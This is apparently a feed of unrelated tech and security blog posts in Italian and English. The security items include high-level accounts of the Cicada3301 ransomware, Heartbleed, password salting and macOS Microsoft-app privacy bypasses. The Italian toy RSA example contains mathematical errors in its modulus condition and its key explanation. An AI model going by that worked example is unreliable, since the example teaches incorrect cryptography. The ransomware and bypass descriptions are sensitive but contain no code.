l malware e l’omonima cybergang Cicada3301 (intervistata in esclusiva da Red Hot Cyber in occasione dell’attacco alla AST Rhodense), è scritto in Rust per Windows e per Linux/ VMware ESXi.

È disponibile come servizio (Ransomware-as-a-Service, RaaS) e in tre mesi ha colpito 23 organizzazioni.

I primi casi di utilizzo di Cicada3301 sono stati registrati all’inizio di giugno. Alla fine dello stesso mese sul forum degli hacker Ramp è apparso l’annuncio del lancio di un programma di affiliazione basato su questo ransomware.

Un’analisi della versione Linux del malware effettuata svolta da Truesec ha rivelato grandi somiglianze con ALPHV/BlackCat. Durante la primavera scorsa gli operatori di questo RaaS sono fuggiti rubando 22 milioni di dollari a uno degli affiliati. Casi del genere sono conosciuti nel mondo dei criminali informatici come exit-scam.

Entrambi i ransomware sono scritti in Rust. Possono arrestare le macchine virtuali ed eliminare file, funzionano utilizzando l’algoritmo ChaCha20, hanno gli stessi nomi per le richieste di riscatto e utilizzano la crittografia intermittente su file pesanti.

Cicada3301 genera chiavi di crittografia in modo casuale (utilizzando la funzione OsRng) e le protegge utilizzando RSA .

Tutti i documenti e i file multimediali trovati vengono elaborati; se la dimensione supera i 100 MB, viene applicata la crittografia burst. Al nome dei file crittografati viene aggiunta un’estensione di sette caratteri arbitrari.

Agli affiliati viene data la possibilità di ritardare il lancio del crittografo (per una maggiore segretezza) e crittografare le VM senza disabilitare/cancellare lo stato corrente (le funzioni distruttive del malware sono abilitate per impostazione predefinita). Possono registrare le loro vittorie su un Data Leak Site (DLS).

L'articolo Cicada3301: Il Ransomware-as-a-Service Scritto in Rust Colpisce 23 Organizzazioni in 3 Mesi proviene da il blog della sicurezza informatica.

While classroom learning isn’t for everyone, one awesome benefit of the Internet is that you have a variety of college classes available to you, even if they aren’t for credit. You can virtually audit classes from institutions around the world on just about any topic you can think of. Of course, the topic we think of is practical electronics and that happens to be the title of a class from [Dr. Bill Newhall] of the University of Colorado. You can watch the first part in the video below. So far, there are two lectures available but more are coming as the class is ongoing right now.

[Dr. Newhall] is one of us. He’s a ham radio operator and a pilot, as well as an electrical engineer. This class is aimed at others who need to understand electronics in another context. It reminded us of the genesis of one of our favorite books — also from a professor — The Art of Electronics.

The course material promises to cover topics ranging from solar and battery power sources, power conversions, IoT and RF communications, sensors, and DC motor control. Of course, there will also be sections on microcontrollers and associated hardware.

Just like a real class, the first lecture has a lot of housekeeping information, but you might want to skim it anyway. But if you want to get to the electronics, the second video won’t disappoint. While it covers a lot of ground that is probably familiar to most Hackaday readers, it is a good review and there’s more coming in the future lectures.

With all the resources online, you can easily hack your own degree plan together. Having access to instructors like [Dr. Newhall] is exactly the point we were making about how the Internet allows you to leverage the best educational opportunities no matter where you are.

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hackaday.com/2024/09/03/colleg…

Core memory, magnetised memory using tiny magnetic rings suspended on a grid of wires, is now more than five decades obsolete, yet it exerts a fascination for hardware hackers still. Not least [Andy Geppert], who’s made a nibble, four bits of it, complete with interactive LED illumination to show state. Best of all, it’s on a SAO for fun and games on a badge.

Aside from it being a fun project, perhaps the most interesting part comes in the GitHub repository, where can be found the schematic for the device. He’s built all the drive and sense circuitry himself rather than finding an old-stock core memory driver chip, which gives those of us who’ve never worked with this stuff the chance to understand how it works. Beyond that it takes the a2c from the Stemma or SAO ports to a GPIO expander, which provides all the lines necessary to drive it all.

To show it in action he’s posted a video which we’ve placed below the break. Particularly interesting is the use of a magnet to flip bits, something we guess is obvious, but was new to us. If you’re hungry for more, it’s not [Andy]’s first outing into core memory.

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hackaday.com/2024/09/03/a-nibb…

So there’s this commercial electronic game out there called Catch Phrase, which, as the game’s own catch phrase explains, is the game that’s played one word at a time. See, a word comes up on the screen, and you have to get the other person or team to guess what it is using gestures and such before the timer goes off. There are a bunch of rules, like you can’t say a word that rhymes, give the first letter, or the number of syllables.

Well, [ahixson1230] and company got their hands on the After Dark NSFW version but found it lacking in the edginess department. So naturally, [ahixson1230] was inspired to build a better one, with a touch screen in lieu of buttons, and a way for players to suggest words to be added to the list. In this version, a player presses anywhere on the screen to start the game, and a random word or phrase comes up. They act it out, get the other person to guess, and then pass the unit over to continue the fun.

Batch Craze is based on the Cheap Yellow Display, aka the ESP32-2432S028R, and [ahixson1230] highly recommends [witnessmenow]’s excellent resource on the subject. As of this writing, [ahixson1230] is still trying to get the speaker to work, and welcomes any help. Can you assist?

There’s still time to enter the 2024 Tiny Games Contest! You have until Tuesday, September 10th, so head on over to Hackaday.IO and get started!

hackaday.com/2024/09/03/2024-t…

I fallimenti crittografici (Cryptographic Failures), sono un problema maledettamente serio, tanto da essere uno dei OWASP TOP 10 nella posizione A2, scalando una posizione dal 2017 (qui il sito ufficiale). Se pensi che tutti i tuoi dati che transitano in rete o che sono conservati nei server sono (o dovrebbero essere) crittografati, capisci che un fallimento aprirebbe scenari catastrofici, ma sento arrivare la domanda…come possono accadere?

Se fossero storie…sarebbero state scritte da Edgar Allan Poe…

I principali motivi di fallimento di un algoritmo crittografico sono :

1. implementazione vulnerabile
2. utilizzo di algoritmi deboli
3. debolezza nella generazione delle chiavi

Seguimi in una storia di terrore crittografico: Heartbleed

Fallimenti Crittografici: HEARTBLEED

Nel 2014, fu scoperta una vulnerabilità in OpenSSL, una libreria molto utilizzata in quanto progetto Open Source per aiutare l’implementazione di SSL/TLS (il famoso lucchetto in alto a sinistra nel Browser per esempio) nelle comunicazione via internet rendendole crittografate e quindi più sicure.
Questa vulnerabilità sconvolse il mondo di internet: permetteva agli attaccanti di leggere porzioni di memoria del server, potenzialmente esponendo chiavi private, nomi utente, password e altri dati sensibili.

Un esempio di fallimento crittografico che ha avuto conseguenze disastrose.

Questa falla fu introdotta nel 2012 (quindi è stata attiva per circa 2 anni) nella versione 1.0.1 della libreria insieme all’estensione Heartbeat. Vediamo di capirci qualcosa.

La nuova funzionalità introdotta, Heartbeat, faceva una cosa semplice: verificava che la connessione SSL/TLS fosse ancora attiva. Come lo faceva?

Il client mandava un messaggio Heartbeat contenente dei dati specificandone la dimensione al server e questo rispondeva al cliente con gli stessi dati, specificandone a sua volta la dimensione.

Tutto molto lineare, ma allora il problema che scatenò il panico mondiale dove sta?

Nei dettagli…Non avevano previsto di controllare che la dimensione dei dati dichiarata nel messaggio heartbeat fosse uguale a quella dei dati inviati.

Mandando per esempio 1 byte di dati ma dichiarandone 200, il server rispondeva con il byte di dati inviato e 199 byte di dati presi dalle celle di memoria adiacenti al fine di arrivare a 200 byte. Simpatico vero? In questo modo il server avrebbe potuto inviare qualsiasi tipo di dato: password, dati personali, chiavi crittografiche etc.etc.

Comunque questa storia ha un lieto fine: una volta scoperto fu prontamente risolto.

Quando il sale serve…sulle password

Cambiando decisamente paradigma, passiamo da una storia dell’orrore di fallimenti crittografici a questioni di cucina: benché esista il detto “troppo salato si butta, non salato si mangia” il sale crittografico sulle password serve. Non metterlo esporrebbe dati sensibili come le password a vulnerabilità crittografiche come l’attacco con Rainbow Table. Ma andiamo per ordine.

Gli hash. Oggi il 99,99% dei salvataggi di una password avviene sotto forma di hash (per saperne di più c’è l’articolo del nostro Davide Cavallini qui. Con la speranza che il nostro Davide non me ne voglia, ne do una definizione in campo gastronomico: immagina di avere una pietanza (la password) che inserisci in un calderone (la funzione hash). Da questo calderone esce una pozione unica (l’hash), che rappresenta la tua pietanza in modo unico. Le caratteristiche di questa pozione sono:

1. anche un piccolo cambiamento nella pietanza cambia completamente la pozione.
2. la stessa chiave produce sempre la stessa pozione
3. è impossibile risalire alla chiave originale dalla pozione
4. è molto difficile trovare due pietanze diverse che producano la stessa pozione.

Gli arcobaleni pericolosi. Sfortunatamente oggi esistono tabelle (chiamate Rainbow Tables) di hash di password già calcolati con cui tentare di decifrare quelli rubati. Quindi nessuno sforzo ed ad oggi il solo algoritmo di hashing risulta debole visti gli strumenti che ci sono in giro.

Salatura degli hash. Qui interviene il sale (in gergo tecnico si utilizza veramente la parola “salt” ossia sale in inglese quindi il paragone culinario mi è parso adeguato) : come è un potente conservante in campo alimentare, così lo è anche in campo crittografico. Ora, immagina di aggiungere un pizzico di sale alla tua chiave magica prima di metterla nel calderone. Questo rende la pozione ancora più unica. Ecco i vantaggi:

• anche usando la stessa pietanza, le due pozioni saranno diverse grazie al sale
• le rainbow tables diventano inutili perché ogni pozione richiede una combinazione unica di pietanza e sale

Quindi la salagione della password è un rafforzamento della difesa crittografica per cui il mancato utilizzo ne crea una vulnerabilità.

Una chiave debole

“Tra bit danzanti,segreti cifrati.Crittografia.” Questo antico componimento ci svela un grande segreto: la crittografia è intorno a noi, ci abbraccia e ci accompagna con la sua presenza discreta. Ma quando ci sono dei fallimenti crittografici? Hai mai apposto una firma digitale? Se lo hai fatto, hai usato un modalità crittografica chiamata crittografia asimmetrica. Hai firmato il documento cifrandolo con la tua chiave privata. Di questa chiave ne esiste una derivata chiamata chiave pubblica con la quale, in quanto pubblica, chiunque potrà decifrare il documento e quindi verificare che la firma sia tua.

Anche se la chiave privata è correlata alla chiave pubblica, da questa non si può ricavare, a meno che…
Gli algoritmi utilizzabili per la generazione dell chiavi e porre in essere la crittografia asimmetrica, sono di pubblico dominio, quindi non c’è alcun segreto.

Dove sta la forza allora se si conosce il metodo di cifratura?? La forza sta nelle chiavi.

Tutta l’architettura si basa sullo sforzo computazionale esagerato sia in termini di energia che di tempo che servirebbe per trovare la chiave privata da quella pubblica. Ammesso che ci volessero 3.000 anni (ma sono molti di più) per trovare la chiave privata e quindi falsificare la tua firma…che senso avrebbe?

Ma potevo non raccontarti una storia sui fallimenti crittografici? Se hai letto i miei precedenti articoli ormai mi conosci…

C’era una volta un matematico appassionato di sfide intellettuali e di enigmi crittografici viveva in una piccola casa ai margini di un bosco, lontano dai clamori della città, circondato da libri polverosi e fogli di carta pieni di equazioni. Aveva sempre sognato di affrontare l’algoritmo RSA nonostante la mancanza di strumenti moderni, possedeva una mente acuta e una passione incrollabile per la matematica.

Era affascinato dalla possibilità di creare un sistema di crittografia sicuro basato solo sulla teoria dei numeri e sui calcoli matematici. Decise di mettersi alla prova e di implementare l’algoritmo RSA con carta e penna. Si sedette al suo tavolo, prese un foglio di carta bianca e iniziò a scrivere con il suo fidato pennino.

Come prima scelse due numeri primi casuali che chiamò P e Q. P= 5 e Q = 17. Fatta questa scelta, calcolò il parametro n dato dalla moltiplicazione di P e Q n = P ∙ Q = 5 ∙ 17 = 85. Il parametro n, quindi 85,sarà il modulo con cui lavorerà. Il secondo parametro che scaturisce dalla scelta di P e Q lo calcolò così: z = (P-1) ∙ (Q-1) = 4 ∙ 16 = 64 . z è il numero dei numeri coprimi relativi al modulo 85. Ci sono 64 numeri per cui se divido 85 per uno di questi, non ottengo un numero intero.

Generazione delle chiavi. Doveva scegliere un numero, che indicò con e, tale che fosse coprimo rispetto a z ed inferiore a 85. Scelse 5 visto che che se divideva 64 per 5 non otteneva un numero intero ed era inferiore ad 85 quindi e=5. Aveva generato la prima chiave (privata) che era Kpriv = (5,85) !! Adesso doveva calcolare la chiave pubblica. Doveva calcolare il numero d tale che d ∙ e = 1mod (85). Significa che la moltiplicazione di d per e doveva essere un multiplo di 64 più uno. Il primo multiplo di 64 più che trovò fu 65. Lo divise per 5 e trovo 13. Quindi: d = 13.

Ecco la chiave pubblica Kpub = (d,n) = (13, 85) !!!

Visti i numeri in gioco, si capisce benissimo che con un calcolatore automatico, a forza di prova, può essere trovata la chiave privata da quella pubblica vista la sua debolezza. Quindi un algoritmo crittografico valido può essere reso insicuro da una chiave eccessivamente debole.

L'articolo Il Lato Oscuro della Crittografia: Quando Gli Algoritmi Ti Tradiscono proviene da il blog della sicurezza informatica.

Although Android technically runs on top of Linux, generally most Android devices abstract away the underlying Linux-ness of these machines. In theory this is a good thing; we wouldn’t necessarily want to live in a world where we have to log in to a command-line interface just to make a phone call. But too much abstraction often needlessly restricts the capabilities of the underlying hardware. [Murray] a.k.a [Green Bug-Eyed Monster] has an Android TV box with just such a problem, as the Android OS included with it allows for watching TV just fine, but with a few tweaks it can run a full Linux installation instead, turning it into a much more versatile machine.

This specific Android TV box is based on the Rockchip 3566, a popular single-board computer used in a wide array of products. As such it is one of the easier targets for transforming a limited TV machine into a fully capable desktop computer. The first step is to compile an Armbian image for the machine, in this case using an x86 installation of Ubuntu to cross-compile for the ARM-based machine. With a viable image in hand, there’s an option to either solder on a microSD slot to the included pins on the computer’s PCB or to flash the image directly to the on-board eMMC storage by tricking the machine into thinking that the eMMC is missing. Either option will bring you into a full-fledged Linux environment, with just a few configuration steps to take to get it running like any other computer.

[Murray] began this process as an alternative to paying the inflated prices of Raspberry Pis over the past few years, and for anyone in a similar predicament any computer with the Rockchip 3566 processor in it could be a potential target for a project like this. You might need to make a few tweaks to the compile options and hardware, but overall the process should be similar. And if you don’t have an RK3566, don’t fret too much. We’ve seen plenty of other Android TV boxes turned into similar devices like this one which runs RetroPie instead.

hackaday.com/2024/09/03/a-clea…

Wouldn’t it be cool if you could cut the grass with lasers? Everyone knows that lasers are basically magic, and if you strap a diode laser or two to a lawn mower, it should slice through those pesky blades of grass with zero effort. Cue [Allen Pan]’s video on doing exactly this, demonstrating in the process that we do in fact live in a physics-based universe, and lasers are not magical light sabers that will just slice and dice without effort.

The first attempt to attach two diode lasers in a spinning configuration like the cutting blades on a traditional lawn mower led to the obvious focusing issues (fixed by removing the focusing lenses) and short contact time. Effectively, while these diode lasers can cut blades of grass, you need to give them some time to do the work. Naturally, this meant adding more lasers in a stationary grid, like creating a Resident Evil-style cutting grid, only for grass instead of intruders.

Does this work? Sort of. Especially thick grass has a lot of moisture in it, which the lasers have to boil off before they can do the cutting. As [Allen] and co-conspirator found out, this also risks igniting a lawn fire in especially thick grass. The best attempt to cut the lawn with lasers appears to have been made two years ago by [rctestflight], who used a stationary, 40 watt diode laser sweeping across an area. When placed on a (slowly) moving platform this could cut the lawn in a matter of days, whereas low-tech rapidly spinning blades would need at least a couple of minutes.

Obviously the answer is to toss out those weak diode lasers and get started with kW-level chemical lasers. We’re definitely looking forward to seeing those attempts, and the safety methods required to not turn it into a laser safety PSA.

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hackaday.com/2024/09/03/mowing…

Once upon a time, machine learning was an arcane field, the preserve of a precious few researchers holed up in grand academic institutions. Progress was slow, and hard won. Today, however, just about anyone with a computer can dive into these topics and develop their own machine learning systems.

Shawn Hymel has been doing just that, in his work in developer relations and as a broader electronics educator. His current interest is reinforcement learning on a tiny scale. He came down to the 2023 Hackaday Supercon to tell us all about his work.

Rewards Are Everything

Shawn finds reinforcement learning highly exciting, particularly when it comes to robotics. “We’re now getting into the idea of, can robots not just do a thing you tell them to, but can they learn to do the thing you tell them to?” he says. Imagine a robot copter that learns to fly itself, or a self-driving car that intuitively learns to avoid pedestrians. The dream is robots that do not simply blindly follow orders, but learn and understand intuitively what to do.
The reinforcement learning system for controlling an inverted pendulum.
Obviously, a great deal of machine learning research involves teams of PhDs and millions of dollars in funding. As an individual, Shawn decided to start smaller. Rather than try and build an advanced quadripedal robot that could teach itself to walk, he instead started with a simple inverted pendulum. It’s a classical control theory project, but he set about getting it to work with reinforcement learning instead.

Reinforcement learning is all about observation. The AI in charge of the inverted pendulum can see the position of the pendulum, and its angular velocity. It can also swing it around with a stepper motor, and knows the stepper motor’s angle and velocity. The reinforcement part involves setting a “reward” for the desired position of the pendulum—namely, when it’s balancing in the inverted position. Thus, over time, the AI learns which actions correspond to this reward, and it effectively “learns” how to control the system.

As is often the way, Shawn’s first attempts didn’t work. There was too much latency between the measurements from the inverted pendulum being sent from an Arduino via serial reaching the AI agent running on his computer’s GPU. Thus, he simplified things. Instead of trying to get the pendulum to balance, he decided to just try and teach an AI to swing it up vertically. He also decided to run the AI on a microcontroller, eliminating much of the latency involved in trying to train a model on his GPU. He also simplified the action space—rather than continuous control of the stepper, the AI was only able to make three actions. Either add 10 degrees, subtract 10 degrees, or do nothing.
The initial reward function is developed to optimize keeping the pendulum vertical and not moving.
This proved far more successful. He was able to train a model using the Stable Baselines3 framework that could successfully make positive actions towards flipping up the pendulum. Once trained using the actor-critic method, the actor half of the model could be deployed to a microcontroller and tested on the real system.

He used Edge Impulse to compress the model and ran it on a Seeed Studio XIAO ESP32S3. The microcontroller no longer needs to run the reward function, as it’s already been trained on how to act to get the desired result. It just goes ahead and does its thing. The live demo worked, too — the model was able to swing the pendulum (briefly) into the vertical position.

Finding the Best Tool for the Job

Shawn notes that for reinforcement learning tasks like these, virtual training grounds can be of great value. They allow much training to happen much faster, often with thousands of iterations running in parallel. There’s also less hassle versus training models on real mechanical hardware, which can get damaged or require manual resets after each training run.

All this is not to say that reinforcement learning is the be-all and end-all of robotics these days. As Shawn explains, for many tasks, particularly straightforward and repetitive ones, classical control theory remains supreme. Just because you can do a task with machine learning techniques, doesn’t mean it’s the best way to go about it.

Ultimately, reinforcement learning can help a machine achieve all kinds of complicated tasks. The trick is to create the right reward function and measure the right parameters. As Shawn ably demonstrates, choosing an appropriately simple goal is also a great way to get started!

youtube.com/embed/50R5EsQB5Rw?…

hackaday.com/2024/09/03/superc…

Nvidia ha utilizzato video da YouTube e altre fonti per addestrare i suoi prodotti AI, secondo le e-mail interne e i documenti ottenuti da 404 Media.

Discutendo gli aspetti legali ed etici dell’utilizzo di contenuti protetti da copyright per addestrare modelli di intelligenza artificiale, Nvidia ha affermato che le loro azioni sono pienamente conformi alla legge sul copyright. Conversazioni interne tra i dipendenti di Nvidia mostrano che quando i dipendenti sollevavano domande su potenziali questioni legali, i manager assicuravano loro che hanno il permesso di utilizzare i dati da parte del top management dell’azienda.

Un ex dipendente di Nvidia ha affermato che ai lavoratori è stato chiesto di scaricare video da Netflix, YouTube e altre fonti per addestrare modelli di intelligenza artificiale, come il generatore di mondi 3D Omniverse, sistemi di auto a guida autonoma e prodotti come “umani digitali”. Il progetto, denominato Cosmos, non è stato ancora presentato al grande pubblico.

L’obiettivo di Cosmos è creare un modello di generazione video all’avanguardia in grado di simulare luce, fisica e intelligenza in un unico posto, permettendo a Cosmos di essere usato in una varietà di applicazioni. Dalle comunicazioni interne emerge che i dipendenti hanno utilizzato il programma open source yt-dlp per scaricare video da YouTube, aggirando i blocchi attraverso macchine virtuali con indirizzi IP aggiornati.

I project manager hanno parlato dell’utilizzo di 20-30 macchine virtuali in Amazon Web Services utilizzate per scaricare l’equivalente di 80 anni di video ogni giorno. A maggio, un portavoce di Nvidia ha detto che la società stava completando la prima versione della sua pipeline di dati e si stava preparando a costruire una fabbrica di dati video che avrebbe “generato ogni giorno una quantità di dati pari a una vita intera“.

Google e Netflix hanno confermato che l’utilizzo dei loro contenuti da parte di Nvidia costituisce una violazione dei loro termini di servizio. Ai dipendenti di Nvidia con problemi legali è stato detto dai manager che si trattava di una “decisione esecutiva” e che non dovevano preoccuparsene.

Tuttavia, molti ricercatori e avvocati sostengono che l’uso di contenuti protetti da copyright per addestrare l’intelligenza artificiale sia una questione legale aperta. Negli ultimi anni è diventato più comune per gli accademici concedere in licenza i propri dati di ricerca per uso non commerciale.

Il progetto Cosmos prevedeva l’uso di video sia pubblici che interni, nonché di dati raccolti dai ricercatori. Tuttavia, le licenze per molti di questi set di dati ne limitano l’uso ai soli scopi accademici

L'articolo Nvidia sotto accusa: video YouTube e Netflix usati per addestrare AI senza permesso proviene da il blog della sicurezza informatica.

!Programmer Humor
Hi, this is a question that popped into my mind when i saw an article about some AWS engineer talking about ai assistants taking over the job of programmers, this reminded me that it's not the first time that something like this was said.

My software engineering teacher once told me that a few years ago people believed graphical tools like enterprise architect would make it so that a single engineer could just draw a pretty UML diagram and generate 90% of the project without touching any code,
And further back COBOL was supposed to replace programmers by letting accountants write their own programs.

Now i'm curious, were there many other technologies that were supposedly going to replace programmers that you remember?

i hope someone that's been around much more than me knows something more or has some funny stories to share

Once the nerve center of Windows operating systems, the Control Panel and its multitude of applets has its roots in the earliest versions of Windows. From here users could use these configuration applets to control and adjust just about anything in a friendly graphical environment. Despite the lack of any significant criticism from users and with many generations having grown up with its familiar dialogs, it has over the past years been gradually phased out by the monolithic Universal Windows Platform (UWP) based Settings app.

Whereas the Windows control panel features an overview of the various applets – each of which uses Win32 GUI elements like tabs to organize settings – the Settings app is more Web-like, with lots of touch-friendly whitespace, a single navigable menu, kilometers of settings to scroll through and absolutely no way to keep more than one view open at the same time.

Unsurprisingly, this change has not been met with a lot of enthusiasm by the average Windows user, and with Microsoft now officially recommending users migrate over to the Settings app, it seems that before long we may have to say farewell to what used to be an intrinsic part of the Windows operating system since its first iterations. Yet bizarrely, much of the Control Panel functionality doesn’t exist yet in the Settings app, and it remain an open question how much of it can be translated into the Settings app user experience (UX) paradigm at all.

Considering how unusual this kind of control panel used to be beyond quaint touch-centric platforms like Android and iOS, what is Microsoft’s goal here? Have discovered a UX secret that has eluded every other OS developer?

A Simple Concept

The Windows 3.1 Control Panel (1992). (Source: ToastyTech.com)
Settings which a user may want to tweak on their computer system range from hardware devices and networks to the display resolution and wallpaper, so it makes sense to put all of these configuration options within an easy to reach and use location. Generally this has meant something akin to a folder containing various clickable icons and accompanying text which together make clear what settings can be configured by opening it. In addition, the same setting dialogs can be accessed using context-sensitive menus, such as when right-clicking on the desktop.
The Windows 98 Control Panel. (Source: ToastyTech.com)
It’s little wonder that for the longest time operating systems have settled for this approach, as it is intuitive, and individual items can have stylized icons that make it even more obvious what settings can be configured by clicking on it, such a keyboard, a mouse, a display, etc. As graphical fidelity increased, so did the styling of these icons, with MacOS, Windows, BeOS and the various desktop environments for OSs like the Linuxes and BSDs all developing their own highly skeuomorphic styles to make their UIs more intuitive and also more pleasant to look at. A good overview of the Windows Control Panel evolution can be found over at the Version Museum website.
The Windows XP Control Panel in ‘Classic’ view. (2001) (Source: suffieldacademy.org)
Coming from the still somewhat subdued style of Windows XP after years of Windows 9x and Windows NT/2000, Windows Vista and Windows 7 cranked this style up to eleven with the Windows Aero design language. This meant glass, color, translucency, depth and high-fidelity icons that made the function of the Control Panel’s individual entries more obvious than ever, creating a masterpiece that would be very hard to beat. The user was also given two different ways to view the Control Panel: the simplified category-based view, or the ‘classic’ view with all icons (and folders for e.g. Administrative Tools) visible in one view.
Windows 7 Control Panel (2009) in category view. (Source: techrepublic.com)
Meanwhile Apple did much the same thing, leaning heavily into their unique design language not only for its desktop, but ultimately also for its mobile offerings. Everything was pseudo-3D, with vivid colors adorning detailed renderings of various physical items and so on, creating a true feast for the eyes when taking in these lush UIs, with efficient access to settings via clearly marked tabs and similar UI elements.
The Mac OS X Panther System Preferences in 2003. (Source: Gadget Unity TV)
This way of organizing system settings was effectively replicated across a multitude of environments, with operating systems like Haiku (based on BeOS) and ReactOS (re-implementing Windows) retaining those classical elements of the original. A truly cross-platform, mostly intuitive experience was created, and Bliss truly came to the computing world.

Naturally, something so good had no right to keep existing, ergo it had to go.

The World Is Flat

The first to make the big change was Microsoft, with the release of Windows 8 and its Metro design language. This new visual style relied on simple shapes, with little to no adornments or distractions (i.e. more than a single color). Initially Microsoft also reckoned that Windows users wanted every window to be full-screen, and that hot edges and sides rather than a task bar and start menu was the way to go, as every single system running Windows 8 would obviously have a touch screen. Fortunately they did backtrack on this, but their attempt to redesign the Control Panel into something more Metro-like with the Settings app did persist, like an odd growth somewhere on a body part.
Windows 8’s PC Settings app (2012). (Source: softpedia.com)
Although the Control Panel remained in Windows 8 as well, the course had been set. Over time this small lump developed into the Settings app in Windows 10, by which time Metro had been renamed into the Microsoft Design Language (MDL), which got a recent tweak in what is now called the Fluent Design Language (FDL) for Windows 11.

Central to this is the removal of almost all colors, the use of text labels over icons where possible (though simple monochrome icons are okay) and only rectangles with no decorations. This also meant no folder-centric model for settings but rather all the items put into a text-based menu on the left-hand side and an endless scroll-of-doom on the right side containing sparsely distributed settings.

This led to the absolutely beautifully dystopian Settings app as it exists in Windows 10:
The Settings app in Windows 10 back in ~2015. Hope you don’t like colors.
All of this came as skeuomorphic designs were suddenly considered ‘passé’, and the new hotness was so-called Flat Design. Google’s Material Design as developed in 2014 is another good example of this, with the characteristic ‘flat UI elements adrift in a void’ aesthetic that has now been adopted by Microsoft, and a few years ago by Apple as well starting in 2022 with MacOS Ventura’s System Settings (replacing System Preferences).
Monterey’s General system preferences (left) are different from Ventura’s General system settings (right). (Credit: MacWorld)
Rather than a tabbed interface to provide a clear overview, everything is now a blind hierarchy of menu items to scroll through and activate to access sub-, sub-sub-, and sub-sub-sub- items, and inevitably realize a few times that you’re in the wrong section. But rather than being able to click that other, correct tab, you now get to navigate back multiple views, one click at a time.

It isn’t just Windows and Apple either, but many of the big desktop environments like Gnome have also moved to this Flat Design Language. While various reasons have been provided for these changes, it’s undeniable that FDL makes a UI less intuitive (because there’s less useful visual information) and makes for a worse user experience (UX) with worse ergonomics as a result (because of the extra scrolling and clicking). This is especially obvious in the ‘independent applets’ versus ‘monolithic settings app’ comparison.

One-Track Mind

Imagine that you’re trying out a couple new wallpapers in Windows while keeping an eye on Windows Update’s latest shenanigans. You then need to quickly adjust the default audio device or another small adjustment unrelated to any of these other tasks. If you are using Windows 7 or earlier with the Control Panel applets, this is normal behavior and exceedingly common especially during hardware troubleshooting sessions.

If you’re using the Settings app, this is impossible, as only view can be active at a given time. You think you’re smart and right-click the desktop for ‘Personalize desktop’ so that the other Settings view stays intact? This is not how it works, as the Settings app is monolithic and now shifts to the newly selected view. Currently this is not too noticeable yet as many applets still exist in Windows 10 and 11, but as more and more of these are assimilated into the Settings app, such events will become more and more common.

It would seem that after decades of UI and UX evolution, we have now reached a definite point where UX is only getting worse, arguably around the release of Windows 8. With color banished, anything even remotely pseudo-3D frowned upon and UIs based around touch interfaces, there will soon be no difference between using a desktop PC, tablet or smartphone. Just in the worst way possible, as nobody has ever written about the amazing ergonomics and efficient UX of the latter two devices.

Perhaps our only hope may lie with the OSes and desktop environments that keep things real and stick to decades of proven UX design rather than give into Fad Driven Development.

Rest in peace, Windows Control Panel. We hope to see you again soon in ReactOS.

hackaday.com/2024/09/03/a-wind…

I ricercatori di sicurezza hanno scoperto otto nuove vulnerabilità nelle versioni macOS delle applicazioni Microsoft (Outlook, Teams, Word, Excel, PowerPoint e OneNote), che, se sfruttate, consentono agli aggressori di aumentare i diritti e ottenere l’accesso a dati riservati.

Secondo una descrizione di Cisco Talos, i difetti identificati aiutano a bypassare le impostazioni sulla privacy nel sistema operativo, che sono basate sul framework TCC (Trasparenza, Consenso e Controllo).

“Se un aggressore sfrutta le vulnerabilità scoperte, potrà ottenere tutti i diritti concessi da Microsoft sulle applicazioni interessate”, scrivono gli esperti .

“Ad esempio, un utente malintenzionato potrebbe inviare e-mail dall’account della vittima, nonché registrare audio e video, senza alcuna interazione con l’utente preso di mira.” hanno aggiunto.

In teoria, un utente malintenzionato può inserire librerie dannose in una qualsiasi di queste applicazioni, cosa che gli permetterà non solo di ottenere i diritti di quest’ultima, ma anche di estrarre una serie di dati riservati. Come notano gli esperti, per uno sfruttamento efficace l’aggressore deve già avere un certo accesso al sistema della vittima.

TCC e protezione dei dati

TCC applica una politica che richiede alle applicazioni di ottenere il consenso esplicito dell’utente prima di poter accedere a risorse protette quali contatti, calendari, foto e posizione, garantendo che gli utenti mantengano il controllo diretto sulle proprie informazioni personali e sull’accessibilità dei propri dati alle applicazioni.

TCC opera congiuntamente agli entitlement, che sono un set di capacità richieste per la funzionalità di un’app. Gli sviluppatori scelgono questi entitlement da una selezione fornita da Apple e, sebbene solo un sottoinsieme di tutti i possibili entitlement sia disponibile per l’uso generale, i più potenti sono riservati esclusivamente alle applicazioni e ai binari di sistema di Apple.

Quando un’applicazione con diritti specifici richiede inizialmente l’utilizzo di una specifica funzionalità, viene visualizzato un pop-up di autorizzazione.

L’immagine sopra mostra un esempio di tale richiesta di autorizzazione: “Malevolent App” vorrebbe accedere alla telecamera. L’utente deve decidere se consentire o negare l’accesso alla telecamera. Questa decisione viene quindi registrata nel database TCC.

Una volta che l’utente ha fatto la sua scelta, qualsiasi futura richiesta relativa alla telecamera da parte della “Malevolent App” sarà regolata dalla decisione registrata nel database. Questo sistema consente effettivamente agli utenti di controllare ed essere informati delle azioni sensibili alla privacy che un’applicazione intende eseguire. La necessaria interazione dell’utente è ciò che consente agli utenti di impedire alle applicazioni dannose di eseguire azioni sensibili come la registrazione di un video o lo scatto di foto.

Un utente può successivamente verificare questa autorizzazione nella sezione “Privacy e sicurezza” delle “Impostazioni di sistema” di macOS. Lì, è possibile trovare un elenco di autorizzazioni, tra cui Fotocamera, Microfono e Servizi di localizzazione.

L'articolo Le App Microsoft su macOS possono essere utilizzate per accedere ai dati riservati dell’Utente proviene da il blog della sicurezza informatica.

Da un sondaggio globale commissionato da Kaspersky Lab è emerso che il 41% delle aziende ha un disperato bisogno di specialisti della sicurezza informatica. Gli esperti in minacce alla sicurezza informatica e gli specialisti nell’analisi del malware sono i più richiesti (39% ciascuno).

C’è anche una carenza di analisti SOC (35%), specialisti di pentest e sicurezza di rete (33%) e analisti di Threat Intelligence (32%). Se suddivisa per settore, la carenza di personale addetto alla sicurezza informatica è più avvertita nel settore pubblico, dove quasi la metà dei posti vacanti non viene occupata (46%).

Al secondo posto in questa classifica si trovano telecomunicazioni e media (39%), al terzo posto vendita al dettaglio e sanità (37% ciascuno). L’area della sicurezza informatica è meglio coperta nel settore IT e finanziario (rispettivamente 31 e 27%).

L’indagine, condotta da Grand View Research in 29 paesi, ha coinvolto 1.012 rappresentanti aziendali che ricoprono varie posizioni: manager (IT, SOC), principali specialisti, esperti di sicurezza informatica.

“Vediamo una forte domanda, in particolare, di ingegneri per l’implementazione della sicurezza informatica e analisti SOC, nonché di specialisti nello sviluppo della sicurezza”, ha affermato Vladislav Galimov, capo del gruppo di reclutamento per la sicurezza informatica di Kaspersky.

